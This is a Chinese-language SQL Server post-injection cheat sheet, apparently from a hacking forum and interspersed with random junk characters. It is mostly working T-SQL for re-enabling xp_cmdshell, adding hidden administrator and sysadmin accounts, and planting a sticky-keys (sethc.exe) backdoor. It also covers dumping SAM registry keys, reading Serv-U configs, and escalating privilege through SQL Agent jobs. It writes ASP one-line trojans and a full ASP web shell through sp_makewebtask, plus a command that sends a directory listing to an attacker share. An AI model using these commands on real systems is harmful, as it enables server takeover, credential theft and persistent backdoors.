1 未能找到存储过程'master..xpcmdshell'. EXEC master.dbo.sp_addextendedproc 后用下面的三种方法,在注入点上执行加个空格和;号8 J& m' h6 @& W' ]9 y* |- E2 Q
恢复方法:查询分离器连接后,
: e: F" F6 T$ \7 y Q. K第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int
0 z$ p) L& H& K/ s第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll' . K) T( {3 u% o7 A" R0 I! F8 X
然后按F5键命令执行完毕
9 G6 I% v' Z# M: M0 c5 e5 C: m! N; _; K) g# i2 C9 j, f
2 无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126(找不到指定模块。)
1 s5 Q2 o8 ]: K" [0 Y2 r1 B; e恢复方法:查询分离器连接后,
7 J+ K/ q* O* X7 p第一步执行:EXEC master.dbo.sp_dropextendedproc "xp_cmdshell". o; P; ?2 G4 w: R- j9 U% ^
第二步执行:EXEC master.dbo.sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
* s* M# F+ b2 r' q {% A! m然后按F5键命令执行完毕8 B' g2 l% f: q* R( q% c# T
& F: B$ c. c* F0 h5 V7 e" B, ^
3 无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)
7 y9 V ?/ X5 \) n4 o8 Z; N恢复方法:查询分离器连接后,
2 [ K( J4 C5 ~2 z0 J: c第一步执行:exec sp_dropextendedproc 'xp_cmdshell'" {% B) `4 s+ D3 L# V6 a" P! |
第二步执行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll' ' C0 T8 g- {' o& O4 J
然后按F5键命令执行完毕7 B B/ G* T( u! G( W( n
; c Y( [1 [: y- K& G H
4 终极方法.2 @8 r( J. t5 F( s7 ]6 ]% {
如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:
# q5 l: f6 P# T; o4 @! d/ E查询分离器连接后,1 g9 \( g0 m3 s6 D/ N; h0 \
2000servser系统:; a& e: }! K0 l" O% A$ N
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user 新用户 密码 /add'9 @2 K. [, M; @. c
9 g& K O: m8 q
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators 新用户 /add'6 n1 E3 F+ y" S. }; V
- a7 x* w) X+ i# g4 i5 txp或2003server系统:/ E# I9 I+ {! O& V8 N/ A
2 {5 T7 K5 |5 O7 ]" }
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 新用户 密码 /add'0 b: b7 }- h% M
1 C3 a; Q' `$ E9 R* \) Z& A
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 新用户 /add'
& w6 x! f1 |, O- a0 e" M# M$ ^% r3 C& ?$ H" L
) [+ u) ?: o: N9 E4 S5 N9 ~五个SHIFT
5 l/ Q g1 f* U; f1 u5 w" w; |declare @o int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';
. _, L% n; v* A0 V) y( v2 S
_" q( \. ]* w3 c+ z# J+ gdeclare @oo int exec sp_oacreate 'scripting.filesystemobject', @oo out exec sp_oamethod @oo, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';
$ D4 X, V' S. T i5 H7 y+ x7 l+ d
xp_cmdshell执行命令另一种方法
! {1 l! ]1 D( ^declare @a sysname set @a='xp_'+'cmdshell' exec @a 'net user refdom 123456 /add' 4 N; k6 W: `0 i+ d- G! A. U
% b1 V' ]6 k. ?# a) y% j
判断存储扩展是否存在: p7 z2 y$ {0 I) F$ K. J6 u
Select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'
1 c/ ~" M) ^4 {8 [. l! M返回结果为1就OK2 Z, ?. G7 A0 h i x* N
' P3 w% C( O. d
, m! B7 \% ]9 E, D( P上传xplog70.dll恢复xp_cmdshell语句:
6 T7 B |* H7 b1 fsp_addextendedproc xp_cmdshell,@dllname='E:\newche2\about\XPLOG70.DLL'6 M: y+ D: w+ `4 n8 X4 U; v8 O$ n' \
1 l" S. C( U' X8 O1 `否则上传xplog7.0.dll% D4 @ t8 w- _, k# q. O
Exec master.dbo.addextendedproc 'xp_cmdshell','C:\WinNt\System32\xplog70.dll'# @, ]! @% R8 k, w% q
7 [+ k6 o5 s; F" M8 e, {# k2 e
, d3 M ]5 a. d1 c% e1 I, n1 Z: Q" g) x f8 v
首先开启沙盘模式:
- Q; T7 r8 X2 Cexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
4 u, @+ a5 Q1 _. Q% E
4 C7 q1 J N, w' }8 v; [. `然后利用jet.oledb执行系统命令/ S% l+ k+ h6 f( Y# T$ N
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')/ v# _/ ?8 I8 w& N4 c- P9 f+ J- [
返回 不能找到c:\windows\system32\ias\ias.mdb错误,用exec master..xp_dirtree 'c:\windows\system32\ias\ias',1,1-- 发现c:\windows\system32\ias\ias.mdb没了,应该是被管理员删掉了,还有另一个mdb也没了
# ]/ s% r2 \6 {$ D. ]% k$ K
8 d' |' L1 X: [6 \
# L! r% j# e9 |: S' S: I* r( B4 \1 C! G
恢复过程sp_addextendedproc 如下: " E, `& D, E3 D9 b$ f
create procedure sp_addextendedproc --- 1996/08/30 20:13
; ~ k4 _ e2 |7 B) N. l@functname nvarchar(517),/* (owner.)name of function to call */ + `1 e4 c, G" _. F5 B% m/ H
@dllname varchar(255)/* name of DLL containing function */
& |' }/ a6 q1 \7 `as
0 z/ _( Z+ P' l9 Z: xset implicit_transactions off
0 x3 q8 |4 n" ]0 h. h* Wif @@trancount > 0
v7 G2 \5 C b; m6 ^begin
9 Y9 l' F) D) Y0 h/ N4 m. q9 [raiserror(15002,-1,-1,'sp_addextendedproc') ! V8 Q3 ?2 y0 x8 h
return (1) 5 F' |& k2 [% Y2 _7 N
end 0 ?1 O4 r/ e+ \
dbcc addextendedproc( @functname, @dllname) {( b' u+ r- n* W
return (0) -- sp_addextendedproc
; s1 y" c- s+ U" I/ u0 N. N* JGO
; {& [. h0 n c/ B* s! A( m" ^& s# x$ t, b. `
. U) S! w$ u5 O4 V7 g& M) \" h* q% c# `( f- }* T
导出管理员密码文件
+ W" E- Z' x( b3 P7 {( Nsa默认可以读sam键.应该。
5 U/ B+ Q. \+ i, D) N* U2 ]' Xreg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\old.reg8 P Q' k: r4 J. P) u
net user administrator test7 H. X" a8 R! L7 ^/ {
用administrator登陆.9 Z8 ~/ ?) W, q9 }, g
用完机器后
6 t( V( W! X1 J) v treg import c:\test.reg N% J$ }1 E* e- C4 b4 b
根本不用克隆./ h7 c* @9 l; T6 R5 O- X( E2 B# B
找到对应的sid.
$ u( l/ ?5 s- G7 L" I; U
! O: a2 ?3 p! t$ \1 j$ p7 v( M0 |: H: o$ b
% [1 p9 l' ]7 T2 P5 C恢复所有存储过程
% i8 S2 Y" U. t0 x! b& euse master 6 y( e/ J; S2 M* o: d
exec sp_addextendedproc xp_enumgroups,'xplog70.dll' " d$ M; _) l c7 _9 G+ m( m
exec sp_addextendedproc xp_fixeddrives,'xpstar.dll'
3 i( y9 W/ ]- M$ r; {exec sp_addextendedproc xp_loginconfig,'xplog70.dll'
4 E" T% l# w# J, Z" C2 u* Vexec sp_addextendedproc xp_enumerrorlogs,'xpstar.dll' ; F, q ^/ g% N2 m$ J1 f
exec sp_addextendedproc xp_getfiledetails,'xpstar.dll' % a+ _& r) g' N* B3 E- b
exec sp_addextendedproc sp_OACreate,'odsole70.dll' 7 o5 o; q+ u& ^
exec sp_addextendedproc sp_OADestroy,'odsole70.dll' # l& g- x- J( }) F' _- K
exec sp_addextendedproc sp_OAGetErrorInfo,'odsole70.dll' : L( m1 P& w7 L1 l+ K% s
exec sp_addextendedproc sp_OAGetProperty,'odsole70.dll'
9 g$ N9 t& Q1 lexec sp_addextendedproc sp_OAMethod,'odsole70.dll' 9 l% V: Y& i/ @3 h! g0 K
exec sp_addextendedproc sp_OASetProperty,'odsole70.dll'
: M/ f! J' I( b+ d" S) Cexec sp_addextendedproc sp_OAStop,'odsole70.dll'
# R- u) X7 `6 E( q' E0 uexec sp_addextendedproc xp_regaddmultistring,'xpstar.dll'
8 b. t9 F9 r& y8 Z1 j# nexec sp_addextendedproc xp_regdeletekey,'xpstar.dll'
! d* c4 ?- D1 S4 Y; l6 s! Q" K# D Bexec sp_addextendedproc xp_regdeletevalue,'xpstar.dll'
8 h2 V1 e; Z! \1 F4 v4 Qexec sp_addextendedproc xp_regenumvalues,'xpstar.dll' # n: o- Z4 l! J6 {6 D9 T
exec sp_addextendedproc xp_regread,'xpstar.dll'
1 Q0 Y" y. g8 R( Iexec sp_addextendedproc xp_regremovemultistring,'xpstar.dll'
8 A3 d8 ?: q9 Q4 b' texec sp_addextendedproc xp_regwrite,'xpstar.dll'
9 e+ n# K5 B% T b1 J3 o6 U- Q2 ]exec sp_addextendedproc xp_availablemedia,'xpstar.dll'
: A5 E, Y. h5 u) t w) Z" k$ n; d) E, _( {2 \& K, z4 |& c0 A3 i
0 x C! e1 p; _2 H& z建立读文件的存储过程" k I9 L) J9 I0 ?+ G$ p2 N
Create proc sp_readTextFile @filename sysname5 m: M$ W% j7 f6 I* Y6 J
as( C3 X1 U# M, p9 x6 m: P
8 _9 |) }* l3 {$ R
begin
1 d* [: A6 s: `, |% t set nocount on : Q& k4 h+ W* _
Create table #tempfile (line varchar(8000))( x- E1 r' R' O& x h7 L
exec ('bulk insert #tempfile from "' + @filename + '"')
; y" _, k z( n8 d% A9 S6 T select * from #tempfile
- e, w% N6 }+ Q5 u5 r( M drop table #tempfile& Y% p% {5 h# a, ~# j
End5 G& Y4 J& F# f4 M. [$ _
) S9 J6 m9 A+ \1 l4 ]exec sp_readTextFile 'D:\testjun17\Teleweb-Japan\default.asp' 利用建立的存储过程读文件/ P( C' m% D" t
查看登录用户* \( Y- P- F" g- s" i
Select * from sysxlogins
) n; J2 _" [/ x* @; L; H$ Q8 e5 V" p" \6 P4 M( u( g
把文件内容读取到表中
" z' R9 M) \* ?/ p6 m3 ZBULK INSERT tmp from "c:\test.txt"
7 H7 k& G" P/ J/ odElete from 表名 清理表里的内容
" C) A6 b8 X- j1 m5 _2 Z$ O/ screate table b_test(fn nvarchar(4000));建一个表,字段为fn
8 O6 x& E4 f ^/ B9 B6 \/ }! M3 j! V4 Z6 Q& n d! |, m# E
& r0 y, T2 S+ z4 Z* K7 h加sa用户
3 d2 D U& ?* I: ?- Hexec master.dbo.sp_addlogin user,pass;1 Q+ t, t# H! r, d- m
exec master.dbo.sp_addsrvrolemember user,sysadmin
( a2 Q/ n; w: ^3 m
3 a2 |: A# D6 v! R
* i: b$ t3 U3 }9 D U: `4 v
1 m* C4 H3 e4 [( x2 q" Z& O读文件代码
7 ]7 z. A' ~2 }# B$ \declare @o int, @f int, @t int, @ret int+ ?4 x3 a& s' P1 x9 E& y8 k
declare @line varchar(8000)
: _3 ?- w$ k: N1 w, U1 q" Zexec sp_oacreate 'scripting.filesystemobject', @o out) N. ~) j) R. q% Z4 }( ]
exec sp_oamethod @o, 'opentextfile', @f out, '文件名', 12 a/ i9 g" p' d* {) Y- w$ P
exec @ret = sp_oamethod @f, 'readline', @line out4 q y& \& L" {# \2 ^# b- k. M
while( @ret = 0 )# c% y0 n# l( u3 l
begin7 y- ^& v0 i' o
print @line; ?- m, `9 I1 t; w0 \6 t
exec @ret = sp_oamethod @f, 'readline', @line out) {& z: @3 r Q7 [+ g
end
7 ], C" h, B$ K- d" w4 j2 l% \9 J! O# M
7 O+ {& H, L- o* g# P% K/ d, P
写文件代码:
1 b7 }! c; Y: p# ldeclare @o int, @f int, @t int, @ret int5 L+ V6 d9 Z% V% j0 R
exec sp_oacreate 'scripting.filesystemobject', @o out
: u) Y" Y2 x* \exec sp_oamethod @o, 'createtextfile', @f out, 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini', 17 y% \- [0 ]' H
exec @ret = sp_oamethod @f, 'writeline', NULL, 《内容》4 l: j3 Z3 p$ p5 [, x# T, x' h
% q4 O! h6 G2 X
D6 l7 ]) \( ]: C8 C! f$ D添加lake2 shell0 \( ]* C7 m' ?& ?5 h/ [) r9 P, L
sp_addextendedproc 'xp_lake2', 'c:\recycler\xplake2.dll'8 s: X! @% b1 C3 B
sp_dropextendedproc xp_lake2
5 W* K( L( R* r8 T( \8 B( wEXEC xp_lake2 'net user'! t; g3 V# V& o4 S: `
) a* @* Z' @" B T P% G4 N
, N& S) Z; V- ?$ B& ]! M9 f) p; N
得到硬盘文件信息
. N9 h, G$ w' h! [1 g--参数说明:目录名,目录深度,是否显示文件
# A, F# g, Z5 m6 p. F3 mexecute master..xp_dirtree 'c:'
, V, j2 f7 T5 F* }% Texecute master..xp_dirtree 'c:',1
# x1 P% i" m+ ^1 aexecute master..xp_dirtree 'c:',1,1
( x2 ~" g# S5 M$ q- ~
! t9 F1 o6 C6 T: j: E# |1 a! |0 w& c; \; k' [ A: R* a9 O5 M
读serv-u配置信息
) \4 T1 x! l4 e9 Aexec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ReadMe.txt'
( ?0 f( M9 ]! k8 qexec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini'1 T$ [$ n W2 R% o' E! F
$ R& j6 a! j" B3 h通过xp_regwrite写SHIFT后门
8 h& N7 q3 P2 C- F, oexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','debugger','REG_sz','c:\windows\system32\cmd.exe on';--* ^$ n, T0 ]* O5 p* s9 t
2 c9 F3 x7 A3 q' m% Z( K% r9 A1 V' l
# G* y# a- Q2 u1 r9 O% _
找到web路径然后用exec master.dbo.xp_subdirs 'd:\web\www.xx.com';
3 ]) a \4 }! j! A Fexec sp_makewebtask 'd:\web\www.XXXX.com\XX.asp','select''<%execute(request("SB"))%>'' '备 份一个小马就可以了
* c' B: K3 v) k; ~/ u1 m* C
; H( p% H* K" X* a2 |# _- U7 NEXECUTE sp_makewebtask @outputfile = ‘WEB绝对路径\导出的文件名.asp',@query = 'SELECT 你的字段 FROM 你建的临时表'
0 ?$ [8 w5 X. X5 m6 @) ^% G7 k- z& f" Y0 J
1 S. G( g0 O5 A2 ]
( F# l( |& p$ Csql server 2005下开启xp_cmdshell的办法
; O- F% W% r6 L; w5 K9 e2 u0 d0 ^% v! c6 q/ Y; M! u6 G
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;9 M6 j: I7 A& N6 X! n, n
+ |( ], U- R9 i' y/ q2 Z
SQL2005开启'OPENROWSET'支持的方法:
4 @; ]1 X8 ?$ g% b7 M- N
' E k% H! a6 H! Wexec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;
/ `) }8 i: ]2 M- ?) _4 E2 W6 z) w! v* O% h0 M; X- \. W( ^' W/ Y* S
SQL2005开启'sp_oacreate'支持的方法:
8 N' e- q+ K+ t+ v9 z. o$ B- y# h K, v8 c8 j! x# J4 S3 E) T
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;
+ S0 p p7 u) k
+ x8 @8 z* m+ B6 H" g+ c: n/ K7 k1 u1 W
8 L/ L% Z" L J( n _3 l5 U- O
: ]# B6 D$ i& `( A) I/ ^3 O. {8 b. P
) Z8 x7 }! q* |" |6 F7 f; h
# F ]5 X5 ]6 L8 f+ K( d' J
- u- W5 q% e' |& c# C
6 w( n6 {( y: { t/ c8 ^- |
, Y' m4 ~7 d9 F! W; ?/ x9 e3 h: M. s* E
* k6 }4 X" s5 W. u, b, B* r
3 ~5 S7 l, b( t* g" L
$ h. a, b. p$ b4 T+ F
: s6 g) a0 f& c9 h+ Y2 G
! Z. l* H) L/ R, q; W8 S
! ?! c9 E' R9 V% w' M' w. s- u0 x' ]/ U; [6 H& y$ ]2 ^
}6 ?/ W" r* b, o" O- d) o( r
( K C1 `4 i+ z W
) b7 B3 P$ U" H* d% Q. R3 q; u1 O' F! B) z
' d0 ~0 _" S$ n9 {
! k+ h7 q, X" S' a6 w! B% C2 i( Z& a以下方面不知道能不能成功暂且留下研究哈:; O! C) ^8 V) Z! R
4)3 h+ O4 A) [2 o$ H9 G; }
use msdb; --这儿不要是master哟 s/ [; `4 k% v+ G' I- W
exec sp_add_job @job_name= czy82 ;
6 z0 b I6 e& k' O. p, iexec sp_add_jobstep @job_name= czy82 ,@step_name = Exec my sql ,@subsystem= CMDEXEC ,@command= dir c:\>c:\b.txt ;
9 Z, |% U2 B7 q- Z! m- h9 ~" J4 Y$ Xexec sp_add_jobserver @job_name = czy82 ,@server_name = smscomputer ;
1 L0 d5 |9 S# }) E8 Rexec sp_start_job @job_name= czy82 ;( b3 j6 e1 Q" V6 \
6 [9 [- M; {+ n- d" [) R, Q
利用MSSQL的作业处理也是可以执行命令的而且如果上面的subsystem的参数是tsql,后面的我们就可以
, z2 {2 Z9 `4 a& N o1 ]$ e1 c执行tsql语句了.7 V: g' e, i+ f; `
对于这几个储存过程的使用第一在@server_name我们要指定你的sql的服务器名+ z$ c2 h5 `; W% _- z& _- p* |' L
第二系统的sqlserveragent服务必须打开(默认没打开的气人了吧)( r1 x5 T$ ]( c# {8 w( L5 l/ r
net start SQLSERVERAGENT
3 U, _0 T, `% \$ I2 X+ R' N. _: x1 P$ x" n1 p
对于这个东东还有一个地方不同就是public也可以执行..同这儿也是有系统洞洞的看下面的7 a2 V' {" A3 t4 ]: {
USE msdb
3 L: m" `$ e; U0 ?4 oEXEC sp_add_job @job_name = GetSystemOnSQL ,
# K0 h5 s% M' d' ~* I" h@enabled = 1," I+ r4 E, E2 v0 z% o3 r, F) a% F
@description = This will give a low privileged user access to
$ @7 K# E7 p% L; exp_cmdshell ,
0 N- w4 w" P! T5 T1 F& T@delete_level = 1
5 M4 K9 W V4 ~% ^EXEC sp_add_jobstep @job_name = GetSystemOnSQL ,8 H, `: y6 y9 k; U* p D' [
@step_name = Exec my sql ,+ G7 S: N/ ~) z* k8 t t
@subsystem = TSQL ,9 t+ F* b9 {7 f7 h& N
@command = exec master..xp_execresultset N select exec- y5 R4 |- S, h
master..xp_cmdshell "dir > c:\agent-job-results.txt" ,N Master
, e7 H3 j7 i( s0 n" uEXEC sp_add_jobserver @job_name = GetSystemOnSQL ,/ v# [5 U& n( D
@server_name = 你的SQL的服务器名 8 J/ C) U5 e) v. C6 B8 G! U
EXEC sp_start_job @job_name = GetSystemOnSQL
: X T5 |+ V( v8 V: h& v
' ~( ~; {' l& R不要怀疑上面的代码,我是测试成功了的!这儿我们要注意xp_execresultset就是因为它所以
* c" _, N: U4 R' u0 s6 Y才让我们可以以public执行xp_cmdshell
: G: x% t) G& b0 W( T+ Q- J
" y! K9 p: Q) a" T5)关于Microsoft SQL Agent Jobs任意文件可删除覆盖漏洞(public用户也可以)2 H, s( y" I1 G. }/ b
在安焦有文章:http://www.xfocus.net/vuln/vul_view.php?vul_id=2968
5 R; E+ c% ] ^4 ]( j7 l3 R! _# l4 B% v0 s5 J
USE msdb8 m% F* h4 B; K: u v& ~
EXEC sp_add_job @job_name = ArbitraryFilecreate ,
! y3 e& {* a- e@enabled = 1,) |$ q" s. ]2 _& a
@description = This will create a file called c:\sqlafc123.txt ,
8 ?/ f2 m! _7 f; ?- S8 u@delete_level = 1
, Y0 w( f5 A; A. d: x- }1 @0 jEXEC sp_add_jobstep @job_name = ArbitraryFilecreate ,' {7 T r R1 O$ |+ j4 o8 C. @7 f0 d; a
@step_name = SQLAFC ,/ ]. C" v! {" i. O- o
@subsystem = TSQL ,
1 y6 ?8 W9 H9 P J" }& t+ |1 h@command = select hello, this file was created by the SQL Agent. ,
8 m* K4 n5 Y6 Y8 F@output_file_name = c:\sqlafc123.txt
9 R5 y) W& X0 I) iEXEC sp_add_jobserver @job_name = ArbitraryFilecreate ,
0 Z5 L9 u' I9 x2 Q% [" b@server_name = SERVER_NAME 2 {9 J$ W j; h. E) | J( m
EXEC sp_start_job @job_name = ArbitraryFilecreate - W+ _8 E+ j9 m
G8 H9 a- I g如果subsystem选的是:tsql,在生成的文件的头部有如下内容
7 O3 d3 K- j( x& c: [6 Z! i4 z7 |1 W. o
??揂rbitraryFilecreate? ? 1 ?,揝QLAFC? ???? 2003-02-07 18:24:19
7 U- w7 ?& H( q5 V' ]7 H----------------------------------------------
: |! m) d- p2 M# bhello, this file was created by the SQL Agent.
0 j5 ]. \' I, V; A9 D8 L) Y4 ]* g( H: \
(1 ?????)
" p4 w( T# l9 }5 l& e1 y- j3 ~" | [1 j
所以我建议要生成文件最好subsystem选cmdexec,如果利用得好我们可以写一个有添加管理员) l2 O# Q n& u. X& v: U. Y
命令的vbs文件到启动目录!7 \8 D# q" O* o3 r& G- V+ V
* \4 Z! B |; y; y2 [% O
6)关于sp_makewebtask(可以写任意内容任意文件名的文件)
7 e$ x. j; E/ g h: q5 d. {: C关于sp_MScopyscriptfile 看下面的例子5 b( P7 }3 l) C( H% B
declare @command varchar(100)
. i7 Q: ]7 t8 g9 k# X/ ideclare @scripfile varchar(200)
" O9 c- l3 r4 S. _) H" k6 U4 a' iset concat_null_yields_null off
( u# g2 b8 }* c" l) Vselect @command= dir c:\ > "\\attackerip\share\dir.txt" * h2 i5 _! v' g8 [* Z3 N7 Q, U
select @scripfile= c:\autoexec.bat > nul" | @command | rd "
4 \( I% o2 C; T- O) }7 Jexec sp_MScopyscriptfile @scripfile , : \9 I( Z/ Y# j/ r
+ y' ~ E- B1 r
这两个东东都还在测试试哟
9 \# `8 c, I$ r让MSSQL的public用户得到一个本机的web shell
" z0 o* p, j* ]& x1 M( I* @$ |8 a
& ^6 |5 g' y; ^1 r/ Ysp_makewebtask @outputfile= d:\sms\a.asp ,@charset=gb2312,
) s; }, Y; O0 U+ H--@query= select <img src=vbscript:msgbox(now())>
/ O- l: G9 P1 K--@query= select <%response.write request.servervariables("APPL_PHYSICAL_PATH")%>
0 D/ f0 d' c2 g7 }3 ]@query= select 1 j/ O9 o- i& v q
<%On Error Resume Next & |- M% R- Z. N* y
Set oscript = Server.createObject("wscript.SHELL")
. ?8 ?4 Z4 A$ ~Set oscriptNet = Server.createObject("wscript.NETWORK")
" j: v) X* l0 k1 a1 @# j9 XSet oFileSys = Server.createObject("scripting.FileSystemObject")
$ g4 {; `: L; zszCMD = Request.Form(".CMD")
3 @9 \) U; \1 Q0 wIf (szCMD <>"")Then # O" h' q6 a7 ^8 `
szTempFile = "C:\" & oFileSys.GetTempName() s; \3 @, m. x* i! b$ b
Call oscript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)
: u* k, H4 [3 u* g+ S6 ~+ T; e% ESet oFile = oFilesys.OpenTextFile (szTempFile, 1, False, 0)
0 p X" \! I4 a! y4 j' ~ s$ ]: Z; @6 CEnd If %> 5 v/ k$ b7 d* H, g/ d: S1 `
<HTML><BODY><FORM action="<%= Request.ServerVariables("URL")%>" method=" OST">
" e- a Q- D3 m2 p<input type=text name=".CMD" size=45 value="<%= szCMD %>"><input type=submit value="Run"> " E& B- D/ y' b" I- l3 R
</FORM>< RE>
6 |2 e' I0 G: ?! L% m<% If (IsObject(oFile))Then
& \0 e$ F7 J6 l2 p, X! m! SOn Error Resume Next
/ R% F$ ]) |. }4 s! A6 U$ v; Z1 ?Response.Write Server.HTMLEncode(oFile.ReadAll)
, |# U# F; @9 ]8 ^% d- A) \oFile.Close + k! e1 [) a6 ]) d: j& v& T# Q
Call oFileSys.deleteFile(szTempFile, True)
2 X$ ]; G! Q) K5 n' N5 fEnd If%>
6 c4 W. w/ b% T: X</BODY></HTML>
. l& s k& ?' V' z* K9 Q) w2 f |